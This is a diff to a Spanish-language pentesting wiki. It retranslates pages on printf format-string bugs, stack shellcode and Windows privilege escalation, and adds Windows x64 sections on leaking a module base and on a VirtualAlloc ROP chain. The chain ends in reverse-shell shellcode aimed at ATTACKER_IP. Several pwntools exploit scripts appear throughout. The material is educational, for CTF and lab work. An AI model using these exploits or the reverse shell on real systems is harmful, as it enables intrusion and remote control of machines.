diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ccaa8f2fe..e181a795f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index cd21a0470..b852b0731 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -1,17 +1,17 @@ -# Format Strings +# Cadenas de formato {{#include ../../banners/hacktricks-training.md}} -## Información Básica +## Información básica -En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto. +En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto crudo con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto crudo. Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**. -La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**. +La vulnerabilidad aparece cuando un **texto controlado por el atacante se usa como el primer argumento** de esta función. El atacante podrá elaborar una **entrada especial abusando** de las **capacidades de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo será posible **ejecutar código arbitrario**. -#### Formateadores: +#### Especificadores de formato: ```bash %08x —> 8 hex bytes %d —> Entire @@ -30,7 +30,7 @@ char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -- Uso Normal: +- Uso normal: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 @@ -52,9 +52,9 @@ fclose(output_file); return 0; } ``` -### **Accediendo a Punteros** +### **Accediendo a punteros** -El formato **`%$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer: +El formato **`%$x`**, donde `n` es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Entonces, si quieres leer el cuarto parámetro de la pila usando printf podrías hacer: ```c printf("%x %x %x %x") ``` @@ -66,14 +66,14 @@ printf("%4$x") ``` y leer directamente el cuarto. -Nota que el atacante controla el parámetro de `printf`, **lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila. +Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su input va a estar en el stack cuando se llame a `printf`, lo que implica que podría escribir direcciones de memoria específicas en el stack. > [!CAUTION] -> Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento. +> Un atacante que controle este input, podrá **añadir direcciones arbitrarias en el stack y hacer que `printf` acceda a ellas**. En la siguiente sección se explicará cómo usar este comportamiento. -## **Lectura Arbitraria** +## **Arbitrary Read** -Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con: +Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla e **imprimirla como si fuera una cadena** (imprime hasta encontrar un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición en el stack, es posible imprimir el inicio del binario con: ```python from pwn import * @@ -87,15 +87,15 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección. +> Ten en cuenta que no puedes poner la address 0x8048000 al principio del input porque la string será cat en 0x00 al final de esa address. -### Encontrar el desplazamiento +### Encontrar offset -Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`. +Para encontrar el offset de tu input puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
-Fuerza bruta printf offset +Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -128,38 +128,38 @@ p.close() ### Qué tan útil -Las lecturas arbitrarias pueden ser útiles para: +Arbitrary reads pueden ser útiles para: -- **Volcar** el **binario** de la memoria -- **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** el **binary** desde la memoria +- **Acceder** a partes específicas de la memoria donde se almacena **información** sensible (como canaries, claves de cifrado o contraseñas personalizadas como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **Escritura Arbitraria** +## **Arbitrary Write** -El formateador **`%$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \ en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`%$n`** escriba un número arbitrario en una dirección arbitraria. +El formateador `%$n` escribe el número de bytes escritos en la dirección indicada por el parámetro en el stack. Si un atacante puede escribir tantos caracteres como quiera con printf, podrá hacer que `%$n` escriba un número arbitrario en una dirección arbitraria. -Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada; para hacerlo, es posible usar el formateador **`%.%$n`** para escribir el número **``** en la **dirección apuntada por la posición `num`**. +Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s en la entrada; por ello es posible usar el formateador `%.%$n` para escribir el número `` en la dirección apuntada por la posición `num`. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos. +Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en vez de `$n`. Esto permite **escribir sólo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la address y otra para los más bajos. -Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).** +Por tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (arbitrary write).** -En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar: +En este ejemplo, el objetivo va a ser **overwrite** la **address** de una **function** en la tabla **GOT** que será llamada más adelante. Aunque esto podría aprovechar otras arbitrary write to exec techniques: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\ -Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**. +Vamos a **overwrite** una **function** que **recibe** sus **arguments** del **user** y la **point** hacia la **`system`** **function**.\ +Como se mencionó, para escribir la address normalmente se necesitan 2 pasos: primero **escribes 2Bytes** de la address y luego los otros 2. Para ello se usa **`$hn`**. -- **HOB** se llama a los 2 bytes más altos de la dirección -- **LOB** se llama a los 2 bytes más bajos de la dirección +- A **HOB** se le llama a los 2 higher bytes de la address +- A **LOB** se le llama a los 2 lower bytes de la address -Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro. +Luego, debido a cómo funcionan las format string necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro. Si HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -175,11 +175,12 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " Puedes encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en: + {{#ref}} format-strings-template.md {{#endref}} -O este ejemplo básico de [**aquí**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +O este ejemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -198,20 +199,61 @@ p.sendline('/bin/sh') p.interactive() ``` -## Cadenas de Formato a BOF +## Format Strings to BOF -Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**. +Es posible abusar de las acciones de escritura de una format string vulnerability para **escribir en direcciones de la pila** y explotar una vulnerabilidad de tipo **buffer overflow**. -## Otros Ejemplos y Referencias +## Windows x64: Format-string leak to bypass ASLR (no varargs) + +En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites vulnerables la cadena controlada por el atacante se usa como argumento de formato pero no se proporcionan argumentos variádicos, por ejemplo: +```c +// keyData is fully controlled by the client +// _snprintf(dst, len, fmt, ...) +_snprintf(keyStringBuffer, 0xff2, (char*)keyData); +``` +Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente argumento variádico del registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el sitio de la llamada será impreso. En la práctica esto a menudo produce un leak de un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), que puede usarse para recuperar la module base y derrotar ASLR. + +Practical workflow: + +- Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado. +- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (by reversing once with symbols or a local copy), y recupera el image base como `leak - known_offset`. +- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y IAT entries de forma remota. + +Example (abbreviated python): +```python +from pwn import remote + +# Send an input that the vulnerable code will pass as the "format" +fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 +io = remote(HOST, 4141) +# ... drive protocol to reach the vulnerable snprintf ... +leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 +base = leaked - 0x20660 # module base = leak - offset +print(hex(leaked), hex(base)) +``` +Notas: +- El offset exacto a restar se encuentra una vez durante el reversing local y luego se reutiliza (mismo binary/version). +- Si "%p" no imprime un pointer válido en el primer intento, prueba otros specifiers ("%llx", "%s") o conversiones múltiples ("%p %p %p") para samplear otros argument registers/stack. +- Este patrón es específico de la Windows x64 calling convention y de las implementaciones de printf-family que fetch nonexistent varargs from registers cuando el format string los solicita. + +Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure. + +## Otros Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución) +- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak la flag desde el stack (no es necesario alterar el flujo de ejecución) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección `fflush` con la función win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados. +- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (así el flujo vuelve a entrar 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelve a main, `strlen` se ejecuta con input del usuario y, apuntando a `system`, ejecutará los comandos pasados. + + +## Referencias + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index c9a801cab..7abd22c77 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Información Básica +## Información básica -**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de este shellcode, lo que provoca su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. +**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en el stack de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluido un ejemplo sencillo en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. -### Ejemplo en C: Un Programa Vulnerable +### Ejemplo en C: Un programa vulnerable -Comencemos con un ejemplo simple de un programa C vulnerable: +Comencemos con un ejemplo sencillo de un programa en C vulnerable: ```c #include #include @@ -24,20 +24,20 @@ printf("Returned safely\n"); return 0; } ``` -Este programa es vulnerable a un desbordamiento de búfer debido al uso de la función `gets()`. +Este programa es vulnerable a un buffer overflow debido al uso de la función `gets()`. ### Compilación -Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: +Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Desactiva la protección de pila. +- `-fno-stack-protector`: Desactiva la protección de la pila. - `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila. -- `-no-pie`: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode. -- `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits. +- `-no-pie`: Desactiva Position Independent Executable (PIE), lo que facilita predecir la dirección de memoria donde estará ubicado nuestro shellcode. +- `-m32`: Compila el programa como ejecutable de 32 bits, a menudo usado por simplicidad en el desarrollo de exploits. -### Python Exploit usando Pwntools +### Exploit en Python usando Pwntools Aquí tienes cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**: ```python @@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute. +Este script construye un payload consistente en una **NOP slide**, el **shellcode**, y luego sobrescribe la **EIP** con la dirección que apunta a la NOP slide, asegurando que el shellcode se ejecute. -El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide. +La **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento de `p32()` a la dirección inicial de tu buffer más un offset para aterrizar en la NOP slide. -## Protecciones +## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. -- La protección **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable. +En Windows modernos la stack no es ejecutable (DEP/NX). Una forma común de aún ejecutar shellcode residente en la stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde la Import Address Table (IAT) del módulo para hacer que una región de la stack sea ejecutable y luego retornar al shellcode colocado después de la cadena. -## Otros Ejemplos y Referencias +Puntos clave (Win64 calling convention): +- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) +- RCX = lpAddress → elige una dirección en la stack actual (p.ej., RSP) para que la región RWX recién asignada solape tu payload +- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p.ej., 0x1000) +- R8 = flAllocationType = MEM_COMMIT (0x1000) +- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) +- Return directly into the shellcode placed right after the chain. + +Estrategia mínima: +1) Leak a module base (p.ej., via a format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR. +2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no dispones de pop r8/r9 directo, usa gadgets aritméticos para sintetizar constantes (p.ej., establece r8=0 y suma repetidamente r9=0x40 cuarenta veces para alcanzar 0x1000). +3) Coloca el stage-2 shellcode inmediatamente después de la chain. + +Ejemplo de disposición (conceptual): +``` +# ... padding up to saved RIP ... +# R9 = 0x40 (PAGE_EXECUTE_READWRITE) +POP_R9_RET; 0x40 +# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic +POP_R8_RET; 0x1000 +# RCX = &stack (lpAddress) +LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg +# RDX = size (dwSize) +POP_RDX_RET; 0x1000 +# Call VirtualAlloc via the IAT +[IAT_VirtualAlloc] +# New RWX memory at RCX — execution continues at the next stack qword +JMP_SHELLCODE_OR_RET +# ---- stage-2 shellcode (x64) ---- +``` +Con un conjunto de gadgets limitado, puedes crear valores de registros de forma indirecta, por ejemplo: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → coloca r9 con el valor de rbx, pone a 0 r8 y compensa la pila con un qword basura. +- xor rbx, rsp; ret → inicializa rbx con el puntero de pila actual. +- push rbx; pop rax; mov rcx, rax; ret → mueve el valor derivado de RSP a RCX. + +Ejemplo de Pwntools (dada una base conocida y gadgets): +```python +from pwn import * +base = 0x7ff6693b0000 +IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing +rop = b'' +# r9 = 0x40 +rop += p64(base+POP_RBX_RET) + p64(0x40) +rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' +# rcx = rsp +rop += p64(base+POP_RBX_RET) + p64(0) +rop += p64(base+XOR_RBX_RSP_RET) +rop += p64(base+PUSH_RBX_POP_RAX_RET) +rop += p64(base+MOV_RCX_RAX_RET) +# r8 = 0x1000 via arithmetic if no pop r8 +for _ in range(0x1000//0x40): +rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) +# rdx = 0x1000 (use any available gadget) +rop += p64(base+POP_RDX_RET) + p64(0x1000) +# call VirtualAlloc and land in shellcode +rop += p64(IAT_VirtualAlloc) +rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) +``` +Consejos: +- VirtualProtect funciona de manera similar si es preferible convertir un buffer existente a RX; el orden de los parámetros es diferente. +- Si el espacio en stack es limitado, asigna RWX en otro lugar (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack. +- Siempre ten en cuenta los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords de relleno. + + +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde la función será almacenada no será siempre la misma y necesitarías algún leak para saber dónde está cargada la win function. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitadas o la dirección de retorno EIP comprometida nunca será seguida. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protección **stack** impediría la ejecución del shellcode dentro de la stack porque esa región no será ejecutable. + +## Otros ejemplos y referencias - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él +- 64bit, ASLR con stack address leak, escribir shellcode y saltar a él - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él +- 32 bit, ASLR con stack leak, escribir shellcode y saltar a él - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él +- 32 bit, ASLR con stack leak, comparación para evitar la llamada a exit(), sobrescribir una variable con un valor y escribir shellcode y saltar a él - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila +- arm64, sin ASLR, gadget ROP para hacer la stack ejecutable y saltar al shellcode en la stack + + +## Referencias + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 1829fac21..ab3250e44 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,14 +1,14 @@ -# Escalación de Privilegios Local en Windows +# Windows Local Privilege Escalation {{#include ../../banners/hacktricks-training.md}} -### **Mejor herramienta para buscar vectores de escalación de privilegios locales en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Mejor herramienta para buscar vectores de Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Teoría Inicial de Windows +## Teoría inicial de Windows -### Tokens de Acceso +### Tokens de acceso -**Si no sabes qué son los Tokens de Acceso de Windows, lee la siguiente página antes de continuar:** +**Si no sabes qué son Windows Access Tokens, lee la siguiente página antes de continuar:** {{#ref}} @@ -24,29 +24,29 @@ access-tokens.md acls-dacls-sacls-aces.md {{#endref}} -### Niveles de Integridad +### Niveles de integridad -**Si no sabes qué son los niveles de integridad en Windows, deberías leer la siguiente página antes de continuar:** +**Si no sabes qué son integrity levels en Windows deberías leer la siguiente página antes de continuar:** {{#ref}} integrity-levels.md {{#endref}} -## Controles de Seguridad de Windows +## Controles de seguridad de Windows -Hay diferentes cosas en Windows que podrían **impedirte enumerar el sistema**, ejecutar ejecutables o incluso **detectar tus actividades**. Deberías **leer** la siguiente **página** y **enumerar** todos estos **mecanismos** de **defensa** antes de comenzar la enumeración de escalación de privilegios: +Hay diferentes elementos en Windows que podrían **impedirte enumerar el sistema**, ejecutar ejecutables o incluso **detectar tus actividades**. Debes **leer** la siguiente **página** y **enumerar** todos estos **mecanismos de defensa** antes de comenzar la enumeración de privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Información del Sistema +## Información del sistema ### Enumeración de información de versión -Verifica si la versión de Windows tiene alguna vulnerabilidad conocida (verifica también los parches aplicados). +Comprueba si la versión de Windows tiene alguna vulnerabilidad conocida (revisa también los parches aplicados). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,9 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### Exploits por versión -Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno Windows. +This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **enorme superficie de ataque** that a Windows environment presents. **En el sistema** @@ -81,7 +81,7 @@ Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil par - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Environment +### Entorno ¿Alguna credencial/información jugosa guardada en las variables de entorno? ```bash @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -Los detalles de las ejecuciones del pipeline de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados. +Los detalles de las ejecuciones del pipeline de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida podrían no capturarse. -Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**. +Para activarlo, sigue las instrucciones en la sección "Transcript files" de la documentación, optando por **"Module Logging"** en lugar de **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Para ver los últimos 15 eventos de los registros de PowersShell, puedes ejecutar: +Para ver los últimos 15 eventos de los logs de PowersShell puedes ejecutar: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la 